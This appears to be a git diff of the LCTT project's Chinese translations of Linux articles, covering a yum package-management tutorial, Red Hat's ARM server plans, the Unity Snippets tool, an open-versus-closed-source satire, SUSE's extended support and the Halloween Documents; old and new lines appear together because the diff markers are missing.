-> Processing Dependency: php-common(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64
-> Processing Dependency: php-cli(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64
--> Package php-gd.x86_64 0:5.3.3-23.el6_4 will be installed
-> Processing Dependency: libXpm.so.4()(64bit) for package: php-gd-5.3.3-23.el6_4.x86_64
--> Package php-pdo.x86_64 0:5.3.3-23.el6_4 will be installed
--> Package php-pear.noarch 1:1.9.4-4.el6 will be installed
--> Package php-xml.x86_64 0:5.3.3-23.el6_4 will be installed
-> Running transaction check
--> Package libXpm.x86_64 0:3.5.10-2.el6 will be installed
--> Package php-cli.x86_64 0:5.3.3-23.el6_4 will be installed
--> Package php-common.x86_64 0:5.3.3-23.el6_4 will be installed
-> Finished Dependency Resolution
Dependencies Resolved
@ -93,7 +92,7 @@ The above command will show you the installed and available package group. You c
(6/8): php-pdo-5.3.3-23.el6_4.x86_64.rpm | 75 kB 00:00
(7/8): php-pear-1.9.4-4.el6.noarch.rpm | 393 kB 00:00
(8/8): php-xml-5.3.3-23.el6_4.x86_64.rpm | 103 kB 00:00
———————————————————————-
-----------------------------------------------
Total 2.9 MB/s | 4.5 MB 00:01
Running rpm_check_debug
Running Transaction Test
@ -125,27 +124,27 @@ The above command will show you the installed and available package group. You c
Complete!
### Install package using YUM ###
###使用YUM安装软件包
A package can be installed using yum install command as below:
可以使用**yum install**命令安装软件包,如下所示:
# yum install httpd
Loaded plugins: amazon-id, rhui-lb, security
Setting up Install Process
Resolving Dependencies
> Running transaction check
> Package httpd.x86_64 0:2.2.15-29.el6_4 will be installed
> Processing Dependency: httpd-tools = 2.2.15-29.el6_4 for package: httpd-2.2.15-29.el6_4.x86_64
> Processing Dependency: apr-util-ldap for package: httpd-2.2.15-29.el6_4.x86_64
> Processing Dependency: libaprutil-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64
> Processing Dependency: libapr-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64
> Running transaction check
> Package apr.x86_64 0:1.3.9-5.el6_2 will be installed
> Package apr-util.x86_64 0:1.3.9-3.el6_0.1 will be installed
> Package apr-util-ldap.x86_64 0:1.3.9-3.el6_0.1 will be installed
> Package httpd-tools.x86_64 0:2.2.15-29.el6_4 will be installed
> Finished Dependency Resolution
-> Running transaction check
--> Package httpd.x86_64 0:2.2.15-29.el6_4 will be installed
-> Processing Dependency: httpd-tools = 2.2.15-29.el6_4 for package: httpd-2.2.15-29.el6_4.x86_64
-> Processing Dependency: apr-util-ldap for package: httpd-2.2.15-29.el6_4.x86_64
-> Processing Dependency: libaprutil-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64
-> Processing Dependency: libapr-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64
-> Running transaction check
--> Package apr.x86_64 0:1.3.9-5.el6_2 will be installed
--> Package apr-util.x86_64 0:1.3.9-3.el6_0.1 will be installed
--> Package apr-util-ldap.x86_64 0:1.3.9-3.el6_0.1 will be installed
--> Package httpd-tools.x86_64 0:2.2.15-29.el6_4 will be installed
-> Finished Dependency Resolution
Dependencies Resolved
@ -168,36 +167,36 @@ A package can be installed using yum install command as below:
Installed size: 3.6 M
Is this ok [y/N]: y
As you can see yum added additional packages with httpd installation. This is called the dependency resolution done by yum.
如你所见在安装httpd时yum安装了额外的软件包。这称为yum完成的依赖包解析。
If you want yum not to prompt for the [y/N] option. Use **yum install -y httpd**
假如你不想让yum弹出[y/N]选项,可以使用**yum install -y httpd**
**Update an existing package using yum update command.**
####使用yum update 命令更新一个已存在的软件包
# yum update httpd
Loaded plugins: amazon-id, rhui-lb, security
Setting up Update Process
No Packages marked for Update
That means the httpd package is the latest version in the yums repository.
这意味着你系统中安装的httpd软件包已经是yum软件仓库里的最新版本的了。
**Update all packages on the server.**
####更新服务器上所有的软件包
# yum update
# yum update
the above command will update all the packages including kernel package to the latest version that means your OS will be updated to the latest provided by RHEL.
以上命令将系统上的所有软件包更新到最新版本包括内核软件包这意味着你的OS更新到了RHEL提供的最新版本了。
### Download RPM without installing ###
###下载RPM软件包但是不安装
Use yum to download RPM package from RHN or CentOS repository without installing it. You have to install a plugin for yum first to have yum download the rpm only. The utility name is yum-downloadonly and can be installed through yum as below:
可以使用yum从RHEL或者CentOS的软件仓库里下载RPM软件包但是不安装。你首先需要下载一个插件让yum只下载rpm软件包而不安装。插件名字叫downloadonly可以通过yum安装如下所示
# yum install yum-downloadonly
Loaded plugins: amazon-id, rhui-lb, security
Setting up Install Process
Resolving Dependencies
> Running transaction check
> Package yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 will be installed
> Finished Dependency Resolution
-> Running transaction check
--> Package yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 will be installed
-> Finished Dependency Resolution
Dependencies Resolved
@ -228,51 +227,51 @@ Use yum to download RPM package from RHN or CentOS repository without installing
Complete!
Now you can just download a package from repository without installing it by using this command:
现在你就可以从软件仓库里只下载软件包而不安装了,命令如下:
# yum install httpd-devel downloadonly
# yum install httpd-devel -downloadonly
By default packages are downloaded to **/var/cache/yum/<arch\>** directory but you can download them a specified location by adding another option to yum command
默认情况下软件包会被下载到**/var/cache/yum/<arch\>**目录但是你可以添加额外选项将其下载到指定位置
# yum install httpd-devel downloadonly downloaddir=/opt
# yum install httpd-devel -downloadonly -downloaddir=/opt
If you have a rpm of a package but you dont have the dependencies and you do not know where to get that. you can still have yum to install that rpm and get the required dependencies from the repository. Lets install the httpd-devel-2.2.15-29.el6_4.x86_64 RPM that we just downloaded.
假如你有一个rpm软件包但是没有它所依赖的软件包你不知道到哪去得到它所依赖的软件包。你仍然可以通过yum安装这个rpm软件包并从软件仓库里得到它所依赖的软件包。让我们安装刚刚下载的httpd-devel-2.2.15-29.el6_4.x86_64 RPM软件包。
# yum localinstall /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
# yum localinstall /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
Setting up Local Package Process
Examining /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm: httpd-devel-2.2.15-29.el6_4.x86_64
Marking /opt/httpd-devel-2.2.15-29.el6_4.x86_64.rpm to be installed
Resolving Dependencies
> Running transaction check
> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be installed
> Processing Dependency: apr-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64
> Processing Dependency: apr-util-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64
> Running transaction check
> Package apr-devel.x86_64 0:1.3.9-5.el6_2 will be installed
> Package apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 will be installed
> Processing Dependency: openldap-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
> Processing Dependency: expat-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
> Processing Dependency: db4-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
> Running transaction check
> Package db4-devel.x86_64 0:4.7.25-18.el6_4 will be installed
> Processing Dependency: db4-cxx = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64
> Processing Dependency: db4 = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64
> Processing Dependency: libdb_cxx-4.7.so()(64bit) for package: db4-devel-4.7.25-18.el6_4.x86_64
> Package expat-devel.x86_64 0:2.0.1-11.el6_2 will be installed
> Package openldap-devel.x86_64 0:2.4.23-32.el6_4.1 will be installed
> Processing Dependency: cyrus-sasl-devel >= 2.1 for package: openldap-devel-2.4.23-32.el6_4.1.x86_64
> Running transaction check
> Package cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 will be installed
> Package db4.x86_64 0:4.7.25-17.el6 will be updated
> Processing Dependency: db4 = 4.7.25-17.el6 for package: db4-utils-4.7.25-17.el6.x86_64
> Package db4.x86_64 0:4.7.25-18.el6_4 will be an update
> Package db4-cxx.x86_64 0:4.7.25-18.el6_4 will be installed
> Running transaction check
> Package db4-utils.x86_64 0:4.7.25-17.el6 will be updated
> Package db4-utils.x86_64 0:4.7.25-18.el6_4 will be an update
> Finished Dependency Resolution
-> Running transaction check
--> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be installed
-> Processing Dependency: apr-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64
-> Processing Dependency: apr-util-devel for package: httpd-devel-2.2.15-29.el6_4.x86_64
-> Running transaction check
--> Package apr-devel.x86_64 0:1.3.9-5.el6_2 will be installed
--> Package apr-util-devel.x86_64 0:1.3.9-3.el6_0.1 will be installed
-> Processing Dependency: openldap-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
-> Processing Dependency: expat-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
-> Processing Dependency: db4-devel for package: apr-util-devel-1.3.9-3.el6_0.1.x86_64
-> Running transaction check
--> Package db4-devel.x86_64 0:4.7.25-18.el6_4 will be installed
-> Processing Dependency: db4-cxx = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64
-> Processing Dependency: db4 = 4.7.25-18.el6_4 for package: db4-devel-4.7.25-18.el6_4.x86_64
-> Processing Dependency: libdb_cxx-4.7.so()(64bit) for package: db4-devel-4.7.25-18.el6_4.x86_64
--> Package expat-devel.x86_64 0:2.0.1-11.el6_2 will be installed
--> Package openldap-devel.x86_64 0:2.4.23-32.el6_4.1 will be installed
-> Processing Dependency: cyrus-sasl-devel >= 2.1 for package: openldap-devel-2.4.23-32.el6_4.1.x86_64
-> Running transaction check
--> Package cyrus-sasl-devel.x86_64 0:2.1.23-13.el6_3.1 will be installed
--> Package db4.x86_64 0:4.7.25-17.el6 will be updated
-> Processing Dependency: db4 = 4.7.25-17.el6 for package: db4-utils-4.7.25-17.el6.x86_64
--> Package db4.x86_64 0:4.7.25-18.el6_4 will be an update
--> Package db4-cxx.x86_64 0:4.7.25-18.el6_4 will be installed
-> Running transaction check
--> Package db4-utils.x86_64 0:4.7.25-17.el6 will be updated
--> Package db4-utils.x86_64 0:4.7.25-18.el6_4 will be an update
-> Finished Dependency Resolution
Dependencies Resolved
@ -344,23 +343,23 @@ If you have a rpm of a package but you dont have the dependencies and you do
Complete!
### Removing packages using yum. ###
###使用yum卸载软件包
yum remove Remove a package.
使用 **yum remove** 卸载软件包。举例如下:
# yum remove httpd
# yum remove httpd
Failed to set locale, defaulting to C
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
Setting up Remove Process
Resolving Dependencies
> Running transaction check
> Package httpd.x86_64 0:2.2.15-29.el6_4 will be erased
> Processing Dependency: httpd-mmn = 20051115 for package: php-5.3.3-23.el6_4.x86_64
> Processing Dependency: httpd = 2.2.15-29.el6_4 for package: httpd-devel-2.2.15-29.el6_4.x86_64
> Running transaction check
> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be erased
> Package php.x86_64 0:5.3.3-23.el6_4 will be erased
> Finished Dependency Resolution
-> Running transaction check
--> Package httpd.x86_64 0:2.2.15-29.el6_4 will be erased
-> Processing Dependency: httpd-mmn = 20051115 for package: php-5.3.3-23.el6_4.x86_64
-> Processing Dependency: httpd = 2.2.15-29.el6_4 for package: httpd-devel-2.2.15-29.el6_4.x86_64
-> Running transaction check
--> Package httpd-devel.x86_64 0:2.2.15-29.el6_4 will be erased
--> Package php.x86_64 0:5.3.3-23.el6_4 will be erased
-> Finished Dependency Resolution
Dependencies Resolved
@ -399,9 +398,9 @@ yum remove Remove a package.
Complete!
### List all installed packages ###
###列出所有安装的软件包
If you want to list all the installed packages then you can use yum list installed command. This is useful in combination with grep or to check whether a specific package has been installed. This is similar to query installed packages with rpm -qa command.
假如你要列出你系统上安装的所有软件包,你可以使用**yum list installed**命令。这条命令结合grep命令是非常有用的可以用来检查某个特定的软件包是否已被安装。这与使用rpm -qa命令询问已经安装的软件包相似。
# yum list installed
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
@ -427,10 +426,10 @@ If you want to list all the installed packages then you can use yum list install
.
Output Truncated.
### List the available repository from which packages are being queried, installed and updated. ###
###列出可用的软件库,通过它们可以查询、安装和更新软件包
# yum repolist
# yum repolist
Loaded plugins: amazon-id, downloadonly, rhui-lb, security
repo id repo name status
rhui-REGION-client-config-server-6 Red Hat Update Infrastructure 2.0 Client Configuration Server 6 4
@ -442,6 +441,6 @@ If you want to list all the installed packages then you can use yum list install
via: http://linoxide.com/linux-command/package-management-yum-redhat-linux/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -22,7 +22,7 @@ Fedora 20 的目标是完全支持 ARM 设备(特别是 ARM7hl这个目
via: http://thevarguy.com/open-source-application-software-companies/red-hat-fedora-20-linux-new-networking-arm-features
译者:[bazz2](https://github.com/bazz2) 校对:[校对者ID](https://github.com/校对者ID)
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,43 @@
Red Hat 为64位ARM服务器做准备
================================================================================
> ARM处理器可能带来具有成千上万的节点的堆叠服务器Red Hat的ARM首席架构师预测说
来自IDG新闻服务企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展以建立在数据中心的新生平台上的专业能力。
“你们在当今的商业产品市场看不到我们但我们已经建立了超越如今一些64位技术的能力。所以接下来如果我们有一个需要应对的市场我们将有能力应对”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA大型安装系统管理会议上提出的。
ARM处理器代表了“计算上翻天覆地的变化”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位ARM处理器架构还可以在数据中心发挥作用。在过去的一年中基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。
对于数据中心ARM可能会因其低功耗设计而带来超大规模计算时代这样数千个微型计算节点可以打包成一个堆叠服务器。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。
ARM处理器可能无法以x86处理器的速度运行但它们可以提供大部分的性能而只消耗一小部分能源这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术作为高密度服务器设计的一部分”Masters说。
他说许多工作并不需要最快的处理器。相反工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系并不一定和我能做多少计算有关”他说。例如云计算和Web应用程序运行在多个服务器上和运行在数量较少但速度更快的服务器上的表现会同样出色。
ARM的设计也可以简化数据中心操作。ARM的芯片内系统的设计方式可以解决管理许多服务器的外部元件的需要。例如ARM处理器可以提供交叉互联减少外部电缆和顶级机架交换机的需要。
“每一个刀片都具有离散布线已经指日可待了, ”他说。
Masters说超大规模计算还需要做大量的工作。
ARM授权它的架构而不是和英特尔一样卖处理器。其结果是从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的不必要的变化”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。
[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用Linaro企业集团或称为LEG一直在努力规范软件让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望”Masters说。
“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆叠,”他说。
另一个问题是对外围设备的支持仍然没有标准化的32位ARM处理器。Masters说LEG正在考虑使用64位ARM处理器的ACPI高级配置和电源接口标准或UEFI统一可扩展固件接口。随着时间的推移ARM将提供一个类似自动化总线的能力比如将提供支持x86的机器的PCI总线。
Masters说Red Hat还没有宣布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知但他明确指出测试了许多RHEL应用程序的社区Linux发行版Fedora项目现在已经为ARM提供了一个发行版。
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linaro.org/

View File

@ -0,0 +1,67 @@
可以快速保存、访问和粘贴文本片段的Unity漂亮工具
================================================================================
**反复键入特定的信息 - 如电子邮件地址或家庭地址,详细的终端命令,及时发送用户喜爱的电视节目的资讯 - 可是件苦差事。**
![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-31-at-13.04.jpg)
*Snippets 方便的访问存储的文本的方法*
谢天谢地,这个世界上有一些工具可以帮助我们(做这些事儿)。
*Snippets* 就是Unity中这种组件之一。 这是一个简单的启动程序小工具它让你在一个文件中保存和存储摘下来的内容然后当你需要的时候从Unity的一个快速列表里复制到剪贴板。
在某些人把他的内裤扔到我的脸上之前我得说Snippets不是唯一的这种工具它甚至不是第一个提供这一系列功能的。但是它独特的是通过Unity启动器来提供这一系列功能。
这个软件具功能不错又足够简单,提供以下功能:
- 添加、访问存储在txt文件中的文本段
- 在快速列表里查看保存的文本段
- 点击文本段就可以复制到剪贴板
- 提供了把剪贴板中的内容保存到txt文件的选项
尽管它不是一个“智能”的剪贴板管理工具 它只是列出了你特别添加的项目;它不会列出你最近的剪贴板项目历史,但仍然是一个非常方便的小工具。
###怎样为Unity安装Snippets###
想要使用这个漂亮的启动器项目你需要先安装一个命令行剪贴板工具XClip。点击下面的按钮链接从软件中心安装。
- [点击以在Ubuntu里安装XClip][1]
下一步下载下面的Snippets压缩文件。这包含了剩余所有的使用这个应用所需要的东西。
- [下载SnippetsUnity启动器][2]
当这个压缩文件下完之后你就可以解压了。进入生成的文件夹然后按Ctrl+H显示隐藏的文件。移动文件夹.snippets-launcher到你的主文件夹中。**如果不这么做,这个组件将无法正常工作。**
下一步是安装启动器项目。这是被一个你刚搬到文件夹里面的脚本关照的,但它不具有可执行的权限(需要安装),因此,我们首先需要关照它一下。
打开一个新的终端窗口在里面小心的键入下面的命令:
cd .snippets-launcher/ && chmod +x snippets.sh
./snippets.sh
就是这样Snippets应该已经整装待发了。打开Unity Dash搜索Snippets然后把它拖到启动器上去
- 左键点击启动器打开可以添加你的文本段的文本文件
- 右键点击启动器上的项目打开快速列表
快速列表里的选项:
- 左键点击文本段以添加到剪贴板
- 左键点击“日期”可以复制当前日期
- 点击“添加剪贴板内容”可以把当前剪贴板中的内容加入到.txt文件中译注实际上保存的文本是存储在一个文本文件中
- 在添加一个项目到.txt文件后点击“更新启动器”
更多关于这个懒人的工具信息尽在[Ubuntu论坛][3]在那里它的开发者“Stinkeye”,会很高兴地提供帮助。
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/10/unity-launcher-clipboard-snippets-item
译者:[crowner](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:apt://xclip
[2]:https://www.dropbox.com/s/ha6lngizmz78srv/snippets%20by%20stinkeye.tar.gz
[3]:http://ubuntuforums.org/showthread.php?t=2184916

View File

@ -0,0 +1,57 @@
闭源优于开源的七个缘由?是这样吗?
================================================================================
![](http://opensource.com/sites/default/files/imagecache/image-full-size/images/business/BUSINESS_asusual_deadend.png)
这看起来似乎挺奇怪的因为这样的观点来竟然自于OpenLogic的创办人而该公司专注于在开源领域提供帮助。 但是事实上,闭源在某些情况下优于开源。
针对闭源……
###1. 出了问题,不用自己搞定
只要是软件难保不出问题。要是开源软件出了这事儿要么你自己要么某个欠你人情债的工程师总得有个人要花费时间排除bug。通览代码求助于开源社区或者开源软件的供应商通过这些手段来解决问题。
但是闭源呢一旦你确定开发商代码出了问题ok你的工作到此为止 你只需发个文件,等着就行了。当然,可能会等上几个月或者几年,问题才能得到解决,更甚者永远得不到答复。但是除此之外,你还能做什么呢。 把问题踢回去,放松,期待最好的解决方案,仅此而已。
###2. 不必担心贡献回流到社区
如果用的是开源软件, 很有可能, 你解决了一个bug或者做出了改善之后你的代码就会进入到社区随着时间的推移从而帮助测试或者维护。
闭源就不同了,你根本用不着给任何人做任何事情。当然,那是因为你接触不到代码,所以也修改不了,但是你可以针对遇到的问题创建自己的解决方案。你可以一直只针对同一个问题,改善再改善,一个版本接着一个版本,至少用不着跟社区打交道,为其他人提供更好的解决方法。
###3. 你不必考虑开源许可条款及规定事宜
对于开源你必须遵循所使用的组件的许可条款。例如想要搞明白Apache软件许可证和GPL之间的区别与联系是需要花费一定的时间的。使用哪一种许可证取决于你所用的开源组件以及你如何使用这些组件发布给第三方或者内部使用据此都有不同的许可证可供应用可附加到文档中进行说明
像OpenLogic这样的公司可以很容易地理解并遵守开源许可但是针对闭源你大可不必担心这类事情你的供应商的许可协议把有关软件的所有的权利都收走了如果没有你的公司的律师明确同意的情况下你几乎是不可能的想以别的方式使用这些软件想都不要想。当然你还得考虑许可证数量、突如其来的软件合规性审计、随着时间的推移而恶化的条款、几乎难以理解的法律术语但至少你不必了解如何使用开源组件。
###4. 你用不着为每个组件在众多选项中进行选择
针对数据库Web服务器应用服务器编程语言图形用户界面框架类似的方面等等开源都提供了大量的解决方案。在每一个特定的领域你都可以找到运用不同的架构方法使用各种语言构建的健壮的成品。找一款功能相似的工具很容易这些工具都针对不同的使用场合进行了优化性能、可扩展性、简洁之间的比较。为了确信一个工具软件在既定场合下功能够满足需求可以下载下来试用一下。
使用闭源软件的话,你就用不着对付那么多的选择。你只需要在每个领域探索两三个大厂商提供的产品。如果供应商没有提供免费试用版本,或者很难说服你为试用品买单,甚至根本不和你签署试用协议,那你就节省时间了。
###5. 你不必四处找幻灯片
如果打算找一些软件的会议简报,架构图表,截图,以及其他相关的文档,这需要花费一定的时间。使用开源软件,你得读百科,访问论坛,还有邮件列表,才能获取到你需要的相关组件的信息。
使用闭源软件一通电话就足够了只需坐在自己舒适的办公室会有西装革履的专业人士把PowerPoint演示文稿寄送到你的面前。当然在你提供自己的联系方式之前销售人员是不会给你打电话的。这样看来至少自己没必要在网上搜索带有漂亮的图形的PPT。
###6. 你无需到处寻求技术支持
你可以得到来自开源社区自己的工程师或专业开源组织的帮助。这可能需要一些时间以决定是否要服务等级协议SLA的支持以便于在保证的时间内得到答复就像从OpenLogic那里获得帮助一样或者如果你可以自由的发问题到邮件列表自己解决。
闭源就不同了你根本不需要担忧从哪获得帮助。而且你可能根本用不着和工程师当面交谈只需要知道给谁打电话就OK了。
###7. 认输就行了
开源软件,总会有办法解决问题,打补丁,改善,强化,重构,升级,或者重写。没可能跟闭源那样,甩手走开。当然,你可以谩骂开发出这个导致问题的软件的社区,但是你仍然可以解决问题,从社区或者组织那里获得帮助,或者自己动手解决。 而对于商业供应商,那就远不能满足于骂一顿和花费一天的时间来找他们。
嗯,你都了解了。为甚么闭源优于开源的几条缘由。你还有要补充的吗?
--------------------------------------------------------------------------------
via: http://opensource.com/business/13/10/seven-reasons-closed-better-than-open-source
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,27 @@
Suse Linux 延长支持期时间到10年
================================================================================
**Suse在客户的要求下延长了支持期**
Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的支持期和而不是现在的7年此举是为了应对竞争对手的服务。
Suse的总裁和总经理尼尔.布劳克曼在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说"我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。
Suse产品管理和操作的高级总监杰拉尔德.普法伊费尔,在周三的一封邮件中说:"Suse Linux Enterprise 11是首个得到10年支持期的主要版本以及3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期同样包含了12版。"Suse售卖开源Linux软件给企业。
普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000/每100台服务器或者$80,000/每500台服务器。如果不限制服务器的数量费用是$125,000.这些价格已经沿用好几年了。"
布劳克曼在他的主题演讲中说:"从一个7+3年的支持期到10+3年的支持期客户能得到更多时间通用支持。"他还说:"这个决定是在几周前在客户的反映下做出的。"
Suse的支持期延长是随着Red Hat的在去年1月的行动RedHat根据客户需求将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年。
基于RHEL的Oracle Linux去年2月将支持期从8年延长到10年。而基于Enterprise Linux的重编译版本的CentOS同样将支持周期延长到10年有一段时间了。
--------------------------------------------------------------------------------
via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.youtube.com/watch?v=T0W4izFu_WM

View File

@ -2,7 +2,7 @@
================================================================================
> 自从微软的反Linux、反开源战略备忘录泄露以来已经整整过去了15个年头。让我们来回顾一下这一战略是如何失败的。
![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/10/trickortreat2.jpg)
![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/10/trickortreat2.jpg)
15年前当时临近万圣节Eric S. Raymond发布了第一份“[万圣节档案(Halloween Documents)][1]”文档揭露了微软专门针对Linux与开源的秘密战略。那时“恐惧、未知与怀疑fear, uncertainty and doubt - FUD”这样的词汇第一次被收入辞典到了今天很多情况已经改变而未曾改变的又有哪些微软和开源世界今天能够和睦相处了吗
@ -19,11 +19,12 @@
今天值得我们再次重温万圣节档案提醒自己不要逃避开源世界的竞争。长远来看开源软件开发模式能够大大地增进繁荣共享软件市场而引入开源技术及其开发模式的公司例如红帽其发展远比那些因为“恐惧、未知与怀疑FUD”而固步自封的公司要好得多。如今的红帽已经拥有更加平稳的盈利潜力在上文提到的多个开源领域都有持续的业务增长例如云计算和大数据相比之下微软、甚至苹果如果想要在这些领域有所扩展则要在新的硬件种类方面面对高昂费用和更加危险的投资。
总结:不管是糖果还是软件,分享,都是前进的方向。万圣节快乐!
--------------------------------------------------------------------------------
via: http://thevarguy.com/open-source-application-software-companies/halloween-documents-microsofts-anti-linux-strategy-15-yea
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,11 +1,11 @@
Linux的未来进化无处不在
================================================================================
*InfoWorld* —— Mark Shuttleworth最近关闭了[Ubuntu Linux排名第一的bug][1]“微软拥有最高的市场占有率”导致了一些争议也引出了一些意味深长的讨论讨论自从1991年Linus Torvalds以个人物项目发明Linux以来Linux所走过的路。
*InfoWorld* —— Mark Shuttleworth之前关闭了[Ubuntu Linux的第一号bug][1]“微软拥有最高的市场占有率”导致了一些争议也引出了一些意味深长的讨论讨论自从1991年Linus Torvalds以个人物项目发明Linux以来Linux所走过的路。
微软也许不会那么快退出桌面系统的历史舞台但是随着Linux逐渐成长成为IT行业的一块重要基石计算机的本质也已经完全改变。如今从云服务到手机操作系统几乎行业内的所有领域都受到了Linux的直接推动或间接影响。
**Linux体系提交、审核、采纳**
###Linux体系提交、审核、采纳
伴随着支持者的不断增加Linux的开发进程也在不断加快。
@ -13,7 +13,7 @@ Linux的未来进化无处不在
或许更重要的是快速成长中的Linux如何应对挑战变得更加成熟稳定成为在多个领域主导市场发展的领头羊。接下来让我们分别从以下几个方面尝试预测一下Linux的未来原材料、社区产品与企业贡献、其特质所面对的各种挑战、技术实力和成长方向。
**Linux作为原材料弯曲、塑形你想让它是什么样都可以**
###Linux作为原材料弯曲、塑形你想让它是什么样都可以
如果用一个形容词来总结Linux独有的优点那就是“可塑性(malleable)”。Linux是这样一种原材料可以装订切割也可以为任意场合量身定做小到嵌入式设备大到大规模并行超级计算机。
@ -23,7 +23,7 @@ Linux基金会执行董事Jim Zemlin承认“Linux终端用户的体验的的
“它就像一块建筑地基使得Google能建立Android和ChromebooksAmazon建立KindleCanonical建立Ubuntu等等这样的例子还有很多。所有这些产品对用户来说意味着不同的使用体验而选择权完全在消费者自己手里。”
Mark BakerCanonical公司的Ubuntu服务器产品经理目前负责领Ubuntu项目。他的话更加具体准确地表明了这一观点“开源意味着选择的自由。”开源自然会促进模块化因此无论你是一个技术宅男还是正在开发数据中心的系统架构师“通过开源你可以选择最适合你的组件”。
Mark BakerCanonical公司的Ubuntu服务器产品经理目前负责领Ubuntu项目。他的话更加具体准确地表明了这一观点“开源意味着选择的自由。”开源自然会促进模块化因此无论你是一个技术宅男还是正在开发数据中心的系统架构师“通过开源你可以选择最适合你的组件”。
但是IDC的操作环境分析师兼系统软件项目副经理 Al Gillen 却质疑这种完全放任自流的价值观。“Linux是开源的由此任何人都可以修改代码把它变成别的什么东西。但是现代工业已经表明没有价值的产品会被淘汰代码的发展主线应当始终紧靠主流价值观。”
@ -31,15 +31,15 @@ Android用户对此有直接的深刻体会诸多Android操作系统间存在
